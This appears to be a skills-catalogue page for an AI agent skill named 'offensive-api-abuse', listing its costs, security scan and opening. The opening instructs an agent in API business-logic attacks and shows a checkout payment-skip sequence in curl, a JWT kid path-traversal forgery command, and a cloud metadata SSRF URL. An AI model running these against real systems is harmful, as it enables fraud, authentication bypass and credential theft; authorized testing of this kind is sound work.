offensive-api-abuse

offensive-api-abuse is a skill for Claude Code, Codex from Miosa-osa/OSA. It costs 169 tokens per session (6,032 once invoked), scanned B, original, Apache-2.0.

A guide to testing APIs, which are interfaces that let software systems exchange requests and data, for business-logic abuse. It includes REST, GraphQL, and workflow attacks such as chaining calls or bypassing intended steps.

In plain words
What is it for?
Use it to test API workflows, GraphQL queries, authentication limits, and ways that combining or changing requests can bypass business rules.
Why use it?
It focuses on flaws that ordinary security filters may miss because the requests are valid individually but misuse the application's rules.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is jwt_tool "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p "".

Good fit Use it to test API workflows, GraphQL queries, authentication limits, and ways that combining or changing requests can bypass business rules.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/Miosa-osa/OSA
agentmods
npx agentmods add skills/miosa-osa/osa/offensive-api-abuse

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-api-abuse

README.md
[![agentmods](https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-api-abuse/github.svg)](https://agentmods.dev/skills/miosa-osa/osa/offensive-api-abuse)
Your own site
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-api-abuse"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-api-abuse/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for offensive-api-abuse

Your own site · 80×15
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-api-abuse"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-api-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 169 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 6,032 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00169 $0.06032
Opus 5.5 $0.00068 $0.02413
Sonnet 5.5 $0.00034 $0.01206
Haiku 4.5 $0.00017 $0.00603

Measured 1mo ago against content hash fa88ab82ddca, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade B, and why

offensive-api-abuse scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

"http://169.254.169.254/latest/meta-data/"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
priv/skills/offensive-api-abuse/SKILL.md · 540 lines

How it starts

The opening of the file, as written. The whole thing — 540 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Offensive API Abuse and Advanced Exploitation

You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks.

Quick Workflow

  1. Map the complete API surface including undocumented endpoints using Arjun, ParamSpider, and manual discovery.
  2. Model the business workflows: identify multi-step transactions, state machines, and trust chains between endpoints.
  3. Test each workflow for race conditions using parallel request techniques.
  4. Extract and analyze JWTs for algorithm confusion, weak signing, and claim injection opportunities.
  5. If GraphQL is present, test batching for brute-force amplification, query depth for DoS, and introspection for schema leakage.
  6. Probe pagination for data enumeration and exfiltration opportunities.
  7. Test webhook configurations for SSRF and callback hijacking.
  8. Search for API key leakage in client code, error responses, and public repositories.
  9. Verify all discovered endpoints for authorization consistency.
  10. Document business impact for each finding with financial or operational consequence estimates.

Business Logic Bypass via API Chaining

Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.

# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
# Attack: skip payment and go directly to confirm

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items" | jq .

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"coupon_code": "SAVE20"}' \
  "https://target.example.com/api/v1/cart/coupon" | jq .

# Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "CART-12345"}' \
  "https://target.example.com/api/v1/orders/confirm" | jq .

Read the full file on GitHub · 540 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 540 lines · 169 tokens per session scan B fa88ab82ddca

Subscribe to this mod's changes

offensive-api-abuse is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 169 tokens to every session and 6,032 once invoked, about $0.0007 per session on Opus 5.5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-14.

Related

Other skills, from other repositories

n8n-mcp-workflows

MCP-first patterns for designing, validating, and operating n8n automations with explicit retries, failure paths, and audit trails.

MRWillisT/PullNexus · 35 tokens

fastapi-patterns

FastAPI patterns for async APIs, dependency injection, Pydantic request and response models, OpenAPI docs, tests, security, and production readiness.

affaan-m/ECC · 35 tokens

status

Show whether Mem0 memory is working in this repository, covering configuration, capture state, pending flushes, and whether the Mem0 API key is valid. Use when the user asks whether memory is on, why a memory is missing, or anything looks broken.

mem0ai/mem0 · 54 tokens

open-source

Documentation reference for writing Python code using the browser-use open-source library. Use this skill whenever the user needs help with Agent, Browser, or Tools configuration, is writing code that imports from browseruse, asks about @sandbox deployment, supported LLM models, Actor API, custom tools, lifecycle…

browser-use/browser-use · 137 tokens

mem0-oss-to-platform

Plan, then execute, a migration of a project from the mem0 open-source / self-hosted SDK (local Memory class) to the mem0 Platform / hosted SDK (MemoryClient). TRIGGER when: the developer wants to move, switch, or migrate mem0 off OSS/self-hosted to the hosted API, e.g. "migrate my mem0 setup to the platform", "switch…

mem0ai/mem0 · 217 tokens

stripe-docs

Use when the user or agent needs to read, search, or look up Stripe documentation or API reference. Prefer this over curl or WebFetch for any docs.stripe.com content. Use to fetch gated documentation.

stripe/ai · 46 tokens